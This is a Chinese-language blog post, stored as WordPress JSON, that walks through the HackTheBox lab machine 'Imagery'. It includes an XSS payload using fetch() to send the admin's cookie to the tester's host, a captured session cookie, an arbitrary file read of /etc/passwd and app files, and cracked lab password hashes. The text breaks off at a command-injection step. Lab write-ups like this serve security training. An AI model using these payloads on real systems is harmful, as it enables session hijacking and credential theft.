{"id":321,"date":"2025-10-03T10:14:47","date_gmt":"2025-10-03T02:14:47","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=321"},"modified":"2026-01-29T16:19:00","modified_gmt":"2026-01-29T08:19:00","slug":"321","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/10\/03\/321\/","title":{"rendered":"HTB\u9776\u673a Imagery \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.129.115.71<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.112.87 (10.129.112.87) 56(84) bytes of data.\n64 bytes from 10.129.112.87: icmp_seq=1 ttl=63 time=434 ms\n64 bytes from 10.129.112.87: icmp_seq=2 ttl=63 time=353 ms\n64 bytes from 10.129.112.87: icmp_seq=3 ttl=63 time=324 ms\n64 bytes from 10.129.112.87: icmp_seq=4 ttl=63 time=353 ms\n\n--- 10.129.112.87 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3001ms\nrtt min\/avg\/max\/mdev = 324.059\/366.007\/434.431\/41.206 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Mon Sep 29 16:05:37 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.112.87\nNmap scan report for 10.129.112.87\nHost is up (0.33s latency).\nAll 65535 scanned ports on 10.129.112.87 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Mon Sep 29 16:06:28 2025 -- 1 IP address (1 host up) scanned in 51.14 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Mon Sep 29 16:08:09 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.112.87\nWarning: 10.129.112.87 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.112.87\nHost is up (0.32s latency).\nNot shown: 65209 closed tcp ports (conn-refused), 324 filtered tcp ports (no-response)\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)\n|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)\n8000\/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)\n|_http-title: Image Gallery\n|_http-server-header: Werkzeug\/3.1.3 Python\/3.12.7\nDevice type: general purpose|router\nRunning: Linux 5.X, MikroTik RouterOS 7.X\nOS CPE: cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3\nOS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   333.53 ms 10.10.14.1\n2   333.63 ms 10.129.112.87\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Mon Sep 29 16:09:38 2025 -- 1 IP address (1 host up) scanned in 89.46 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Mon Sep 29 16:10:19 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.112.87\nWarning: 10.129.112.87 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.112.87\nHost is up (0.33s latency).\nAll 65535 scanned ports on 10.129.112.87 are in ignored states.\nNot shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)\n\n# Nmap done at Mon Sep 29 16:14:28 2025 -- 1 IP address (1 host up) scanned in 248.95 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u7ecf\u626b\u63cf\u63a2\u6d4b\uff0c\u53d1\u73b0\u9776\u673a\u5f00\u653e\u4e86<code>22\/ssh<\/code>\u548c<code>80\/http<\/code>\u4e24\u4e2a<code>TCP<\/code>\u670d\u52a1\u7aef\u53e3\uff0c\u540c\u65f6\u8fd8\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u6839\u636e<code>HackTheBox<\/code>\u9776\u673a\u4e0a\u4f20\u89c4\u5219\uff0c\u76ee\u6807\u4e3b\u57df\u540d\u4e3a<code>imagery.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ssh<\/code>\u547d\u4ee4\u8fde\u63a5\u670d\u52a1\uff0c\u53d1\u73b0\u9776\u673a<code>SSH<\/code>\u670d\u52a1\u53ea\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@imagery.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759133973066-dd0b53b6-a85e-4a19-ae18-34799b9c746e.png\" alt=\"\" \/><\/p>\n<h2>HTTP\u670d\u52a1\uff088000\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/imagery.htb:8000\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759144201624-4cd67944-52c8-43d7-8ca4-9e7933967e99.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7ad9\u70b9\u4e3a\u56fe\u7247\u6258\u7ba1\u7f51\u7ad9\uff0c\u540e\u7aef\u6280\u672f\u6808\u4e3a<code>Python Flask<\/code>\u3002\u67e5\u770b\u7f51\u9875\uff0c\u53d1\u73b0\u6700\u5e95\u90e8\u5b58\u5728\u7535\u5b50\u90ae\u7bb1<code>support@imagery.htb<\/code>\u3002<\/p>\n<p>\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u524d\u7aef<code>JS<\/code>\u4ee3\u7801\u4e2d\u5b58\u5728\u4e00\u4e9b<code>API<\/code>\u5730\u5740\u3002\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u63d0\u53d6\uff1a<\/p>\n<pre><code class=\"language-shell\">curl -s http:\/\/imagery.htb:8000 | grep \"window.location.origin\" | awk -F'}' '{print $2}' | awk -F'`' '{print $1}' &gt; apilist.txt<\/code><\/pre>\n<p>\u7ecf\u8fdb\u4e00\u6b65\u6574\u7406\u540e\uff0c\u83b7\u5f97\u5b8c\u6574<code>API<\/code>\u5217\u8868\uff1a<\/p>\n<pre><code class=\"language-plain\">\/auth_status\n\/register\n\/login\n\/logout\n\/images\n\/delete_image\n\/edit_image_details\n\/convert_image\n\/apply_visual_transform\n\/delete_image_metadata\n\/upload_image\n\/report_bug\n\/admin\/bug_reports\n\/admin\/delete_bug_report\n\/admin\/delete_user\n\/admin\/users\n\/get_image_collections\n\/create_image_collection\n\/move_images_to_collection<\/code><\/pre>\n<p>\u70b9\u51fb\u4e3b\u9875<code>Register<\/code>\u6309\u94ae\uff0c\u8f6c\u5230\u6ce8\u518c\u9875\u9762\u3002\u5c1d\u8bd5\u6ce8\u518c\u8d26\u53f7<code>admin@imagery.htb<\/code>\uff0c\u53d1\u73b0\u8d26\u53f7\u5df2\u7ecf\u5b58\u5728\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759197593527-c237f376-fb6a-4049-b0d4-7d1f4dfe9bc6.png\" alt=\"\" \/><\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\u3002\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Tue Sep 30 10:04:21 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/imagery.htb:8000 -x 400,404 -e py,pyc,js,html,txt,zip,tar.gz,json,xml,pdf,db -t 70\n\n401    59B   http:\/\/imagery.htb:8000\/images\n405   153B   http:\/\/imagery.htb:8000\/login\n405   153B   http:\/\/imagery.htb:8000\/logout\n405   153B   http:\/\/imagery.htb:8000\/register\n401    32B   http:\/\/imagery.htb:8000\/uploads\/affwp-debug.log\n401    32B   http:\/\/imagery.htb:8000\/uploads\/dump.sql<\/code><\/pre>\n<p>\u53d1\u73b0\u9776\u673a<code>Web<\/code>\u670d\u52a1\u8fd8\u5b58\u5728\u63a5\u53e3<code>\/uploads<\/code>\u3002\u5c1d\u8bd5\u5728\u767b\u5f55\u6ce8\u518c\u6846\u5904\u8fdb\u884c<code>SQLi<\/code>\u4e0e<code>XSS<\/code>\u6d4b\u8bd5\uff0c\u5931\u8d25\u3002<\/p>\n<p>\u76f4\u63a5\u6ce8\u518c\u65b0\u8d26\u53f7\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759284665355-0ff30439-bfd5-45b7-b741-f40296c545ce.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8df3\u8f6c\u81f3\u56fe\u7247\u5e93\u9875\u9762\u3002\u70b9\u51fb<code>Upload<\/code>\u6309\u94ae\uff0c\u9875\u9762\u4e0a\u51fa\u73b0\u4e86\u56fe\u7247\u4e0a\u4f20\u754c\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759364109791-c2ba7772-7cf1-4a12-9d9f-0709ced20cfe.png\" alt=\"\" \/><\/p>\n<p>\u968f\u4fbf\u6311\u9009\u4e00\u5f20\u56fe\u7247\u4e0a\u4f20\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759364572486-a88235c6-8650-4ea6-b2e0-9669414f691d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u56fe\u7247\u88ab\u4e0a\u4f20\u81f3<code>\/uploads<\/code>\u76ee\u5f55\uff0c\u4e14\u7f51\u7ad9\u5728\u56fe\u7247\u539f\u6587\u4ef6\u540d\u5f00\u5934\u52a0\u4e0a\u4e86<code>UUID<\/code>\u6807\u8bc6\u7b26\u3002\u5c1d\u8bd5\u70b9\u51fb<code>Convert Format<\/code>\u3001<code>Transform Image<\/code>\u7b49\u7070\u8272\u6309\u94ae\uff0c\u5747\u63d0\u793a\u529f\u80fd\u6b63\u5728\u5f00\u53d1\u6d4b\u8bd5\u4e2d\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759364752158-770495b8-4380-472a-99eb-ade2298eb966.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u8bf7\u6c42<code>API<\/code>\u63a5\u53e3\u4e5f\u662f\u5982\u6b64\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759364943621-447fdfb4-6b7d-4b3a-a83c-37d65d43e509.png\" alt=\"\" \/><\/p>\n<p>\u7ffb\u770b\u4e3b\u7f51\u9875\uff0c\u53d1\u73b0\u9875\u9762\u5e95\u90e8\u8fd8\u5b58\u5728<code>Report Bug<\/code>\u94fe\u63a5\uff0c\u70b9\u51fb\u540e\u9875\u9762\u4e0a\u51fa\u73b0\u4e86\u95ee\u9898\u62a5\u544a\u6846\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759362022308-8fe2eea2-fdd4-4f10-b357-4ae3cad5a926.png\" alt=\"\" \/><\/p>\n<p>\u63a8\u6d4b\u53ef\u80fd\u6709\u7ba1\u7406\u5458\u8eab\u4efd\u7684\u6d4f\u89c8\u5668\u5ba2\u6237\u7aef\u5b9a\u65f6\u67e5\u770b\u62a5\u544a\u63d0\u4ea4\u4fe1\u606f\uff0c\u51b3\u5b9a\u5c1d\u8bd5\u8fdb\u884c<code>XSS<\/code>\u653b\u51fb\u6d4b\u8bd5\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>XSS\u7a83\u53d6\u7ba1\u7406\u5458Cookie<\/h2>\n<p>\u5728\u4e4b\u524d\u7684\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d<\/p>\n<p>\u5c1d\u8bd5\u83b7\u53d6\u65e0\u5934\u6d4f\u89c8\u5668\u7684<code>Cookie<\/code>\u51ed\u636e\u3002\u9996\u5148\u5728\u672c\u5730\u542f\u52a8<code>SimpleHTTPServer<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">python -m http.server 80<\/code><\/pre>\n<p>\u968f\u540e\u63d0\u4ea4\u5982\u4e0b<code>XSS Payload<\/code>\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;img src=\"http:\/\/10.10.14.2\/text.txt\" onerror=\"fetch('http:\/\/10.10.14.2\/?cookie='+document.cookie)\"&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759362452157-3d69bedf-f484-4926-8e47-4b8e9abc0bbd.png\" alt=\"\" \/><\/p>\n<p>\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u6210\u529f\u6536\u5230\u5e26\u6709<code>Cookie<\/code>\u7684<code>HTTP<\/code>\u8bf7\u6c42:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759363060304-eb7ec19c-24ac-4c92-87c0-aef575b79415.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">10.10.11.88 - - [02\/Oct\/2025 07:52:11] \"GET \/test.txt HTTP\/1.1\" 404 -\n10.10.11.88 - - [02\/Oct\/2025 07:52:11] \"GET \/?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aN2-pw.wGaeLbBbXhZTRdgf534ftdqxu7U HTTP\/1.1\" 200 -<\/code><\/pre>\n<p>\u76f4\u63a5\u6253\u5f00<code>BurpSuite<\/code>\uff0c\u8bbe\u7f6e\u4ee3\u7406\u5e76\u5237\u65b0\u9875\u9762\uff0c\u5c06\u8bf7\u6c42\u4e2d\u6240\u6709<code>Cookie<\/code>\u90fd\u6362\u6210\u83b7\u53d6\u5230\u7684\u7ba1\u7406\u5458<code>Cookie<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759363758600-31d05ff8-eb4a-4480-a228-6d64b3134c6e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u767b\u5f55\u7ba1\u7406\u5458\u8d26\u53f7\uff01<\/p>\n<h2>\u65e5\u5fd7\u63a5\u53e3\u53d1\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e<\/h2>\n<p>\u767b\u5f55\u7ba1\u7406\u5458\u8d26\u53f7\u540e\uff0c\u70b9\u51fb\u9876\u680f\u7684<code>Admin Panel<\/code>\u6309\u94ae\uff0c\u8fdb\u5165\u63a7\u5236\u9762\u677f\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759365202316-35b58c1c-be67-43a7-bd24-cee4e665f404.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9664\u4e86\u5b58\u5728\u6f0f\u6d1e\u62a5\u544a\u67e5\u770b\u529f\u80fd\u5916\uff0c\u8fd8\u5b58\u5728\u67e5\u770b\u7528\u6237\u65e5\u5fd7\u548c\u5220\u9664\u7528\u6237\u7684\u529f\u80fd\uff0c\u540c\u65f6\u7ad9\u70b9\u8fd8\u5b58\u5728\u540d\u4e3a<code>testuser<\/code>\u7684\u7528\u6237\u3002\u70b9\u51fb<code>testuser<\/code>\u7528\u6237\u7684<code>Download Log<\/code>\u6309\u94ae\uff0c\u9875\u9762\u8df3\u8f6c\u5230\u4e86<code>get_system_log<\/code>\u63a5\u53e3\uff0c\u4f46\u63d0\u793a\u6587\u4ef6\u4e0d\u5b58\u5728\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759365397267-8d0ac269-14ac-4b2e-b157-112313b8b520.png\" alt=\"\" \/><\/p>\n<p>\u89c2\u5bdf\u9875\u9762\u8bf7\u6c42\u53c2\u6570\uff0c\u53d1\u73b0<code>log_identifier<\/code>\u53c2\u6570\u5185\u5bb9\u4e3a<code>testuser@imagery.htb.log<\/code>\uff0c\u76f4\u63a5\u5c06\u65e5\u5fd7\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u4f20\u5165\u4e86\u63a5\u53e3\uff0c\u63a8\u6d4b\u6b64\u5904\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u3002\u5c1d\u8bd5\u8bfb\u53d6<code>passwd<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">http:\/\/imagery.htb:8000\/admin\/get_system_log?log_identifier=\/etc\/passwd<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759365640545-18f83bc7-cb99-482f-84dd-8cb96538ba6f.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u540c\u65f6\u8fd8\u53d1\u73b0\u9776\u673a\u5185\u5b58\u5728<code>web<\/code>\u7528\u6237\uff0c\u5bb6\u76ee\u5f55\u4e3a<code>\/home\/web<\/code>\u3002\u7ed3\u5408\u7f51\u7ad9\u6280\u672f\u6808\u4e3a<code>Python Flask<\/code>\u7684\u60c5\u51b5\uff0c\u63a8\u6d4b\u7ad9\u70b9\u76ee\u5f55\u5c31\u5728\u8be5\u7528\u6237\u5bb6\u76ee\u5f55\u4e0b\uff0c\u76ee\u5f55\u540d\u4e3a<code>web<\/code>\u3002\u5c1d\u8bd5\u8bfb\u53d6<code>\/home\/web\/web\/app.py<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759365997514-65c76e3d-ab4d-4add-8f3c-e458ec9a9822.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u4f46\u8be5<code>app.py<\/code>\u53ea\u5b9a\u4e49\u4e86\u4e3b\u9875\u9762\u4e00\u4e2a\u8def\u7531\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\uff0c\u5c1d\u8bd5\u8bfb\u53d6<code>config.py<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759366143308-09624451-4996-451c-a0c8-c0f8d435a2e9.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-python\">import os\nimport ipaddress\n\nDATA_STORE_PATH = 'db.json'\nUPLOAD_FOLDER = 'uploads'\nSYSTEM_LOG_FOLDER = 'system_logs'\n\nos.makedirs(UPLOAD_FOLDER, exist_ok=True)\nos.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)\nos.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)\nos.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)\nos.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)\n\nMAX_LOGIN_ATTEMPTS = 10\nACCOUNT_LOCKOUT_DURATION_MINS = 1\n\nALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}\nALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}\nALLOWED_UPLOAD_MIME_TYPES = {\n    'image\/jpeg',\n    'image\/png',\n    'image\/gif',\n    'image\/bmp',\n    'image\/tiff',\n    'application\/pdf'\n}\nALLOWED_TRANSFORM_MIME_TYPES = {\n    'image\/jpeg',\n    'image\/png',\n    'image\/gif',\n    'image\/bmp',\n    'image\/tiff'\n}\nMAX_FILE_SIZE_MB = 1\nMAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024\n\nBYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'\nBYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')\n\nFORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}\nBLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}\nOUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}\nPRIVATE_IP_RANGES = [\n    ipaddress.ip_network('127.0.0.0\/8'),\n    ipaddress.ip_network('172.0.0.0\/12'),\n    ipaddress.ip_network('10.0.0.0\/8'),\n    ipaddress.ip_network('169.254.0.0\/16')\n]\nAWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')\nIMAGEMAGICK_CONVERT_PATH = '\/usr\/bin\/convert'\nEXIFTOOL_PATH = '\/usr\/bin\/exiftool'<\/code><\/pre>\n<p>\u53d1\u73b0\u7ad9\u70b9\u6570\u636e\u5b9e\u9645\u5b58\u50a8\u5728\u540d\u4e3a<code>db.json<\/code>\u7684\u6587\u4ef6\u5185\uff0c\u4e14\u4ee3\u7801\u672b\u5c3e\u5b9a\u4e49\u4e86<code>ImageMagisk<\/code>\u56fe\u7247\u5904\u7406\u7a0b\u5e8f\u548c<code>exiftool<\/code>\u6587\u4ef6\u5143\u6570\u636e\u5904\u7406\u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u56e0\u6b64\u63a8\u6d4b\u7ad9\u70b9\u8f6c\u6362\u56fe\u7247\u683c\u5f0f\u7684\u529f\u80fd\u662f\u4f9d\u9760\u6267\u884c<code>convert<\/code>\u547d\u4ee4\u6765\u5b9e\u73b0\u7684\u3002<\/p>\n<p>\u8bbf\u95ee<code>db.json<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759366403564-6f19b030-feb8-4d41-982f-2de0b390c775.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-json\">\"users\": [\n        {\n            \"username\": \"admin@imagery.htb\",\n            \"password\": \"5d9c1d507a3f76af1e5c97a3ad1eaa31\",\n            \"isAdmin\": true,\n            \"displayId\": \"a1b2c3d4\",\n            \"login_attempts\": 0,\n            \"isTestuser\": false,\n            \"failed_login_attempts\": 0,\n            \"locked_until\": null\n        },\n        {\n            \"username\": \"testuser@imagery.htb\",\n            \"password\": \"2c65c8d7bfbca32a3ed42596192384f6\",\n            \"isAdmin\": false,\n            \"displayId\": \"e5f6g7h8\",\n            \"login_attempts\": 0,\n            \"isTestuser\": true,\n            \"failed_login_attempts\": 0,\n            \"locked_until\": null\n        }\n]<\/code><\/pre>\n<p>\u6210\u529f\u83b7\u53d6\u7ad9\u70b9\u5185\u4e24\u4e2a\u7528\u6237\u7684\u5bc6\u7801\u54c8\u5e0c\u4fe1\u606f\uff01\u5c1d\u8bd5\u4f7f\u7528<code>hashcat<\/code>\u5de5\u5177\u7834\u89e3\u54c8\u5e0c\uff1a<\/p>\n<pre><code class=\"language-shell\">hashcat -m 0 -a 0 2c65c8d7bfbca32a3ed42596192384f6 \/usr\/share\/wordlists\/rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759366708966-3da4f8a0-0051-46fa-927b-12435cd24af1.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u7f51\u7ad9\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>testuser@imagery.htb<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>iambatman<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759366830875-70cc3c04-bbc9-4a13-94fc-251df11d5126.png\" alt=\"\" \/><\/p>\n<p>\u518d\u6b21\u4e0a\u4f20\u56fe\u7247\uff0c\u53d1\u73b0\u7ad9\u70b9\u7684\u8f6c\u6362\u56fe\u7247\u683c\u5f0f\u548c\u5220\u9664\u5143\u6570\u636e\u529f\u80fd\u53d8\u4e3a\u4e86\u53ef\u7528\u72b6\u6001\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759366961501-453d0909-f73d-4ccc-8098-a6af19a7de2e.png\" alt=\"\" \/><\/p>\n<h2>\u56fe\u50cf\u7f16\u8f91\u63a5\u53e3\u8fdb\u884c\u547d\u4ee4\u6ce8\u5165<\/h2>\n<p>\u767b\u5f55<code>testuser<\/code>\u7528\u6237\u540e\uff0c\u5bf9\u7ad9\u70b9\u5404\u4e2a\u56fe\u7247\u64cd\u4f5c\u529f\u80fd\u8fdb\u884c\u679a\u4e3e\u3002\u9996\u5148\u6253\u5f00<code>BurpSuite<\/code>\uff0c\u70b9\u51fb\u56fe\u7247\u53f3\u4e0a\u89d2\u7684\u66f4\u591a\u9009\u9879\uff0c\u9009\u62e9<code>Transform Image<\/code>\u529f\u80fd\uff0c\u53d1\u73b0\u9875\u9762\u53f3\u4fa7\u7684\u4e0b\u62c9\u6846\u4e2d\u6709\u591a\u79cd\u56fe\u7247\u7f16\u8f91\u9009\u9879\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759375275902-cff6b915-62ae-4e5a-9d58-4348fcb58788.png\" alt=\"\" \/><\/p>\n<p>\u5f88\u660e\u663e\u8fd9\u662f\u4e00\u4e2a\u7b80\u6613\u7684\u56fe\u50cf\u7f16\u8f91\u5668\uff0c\u63d0\u4f9b\u4e86\u4eae\u5ea6\u3001\u8272\u5f69\u3001\u504f\u79fb\u89d2\u5ea6\u548c\u56fe\u50cf\u5927\u5c0f\u7b49\u53c2\u6570\u7684\u7f16\u8f91\u529f\u80fd\u3002\u8fd9\u91cc\u9009\u62e9<code>Crop<\/code>\u9009\u9879\uff0c\u968f\u4fbf\u4fee\u6539\u4e00\u4e2a\u503c\uff0c\u70b9\u51fb<code>Apply Transformation<\/code>\u6309\u94ae\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759375468893-397252a7-703e-4191-a0ce-0ca86c479f35.png\" alt=\"\" 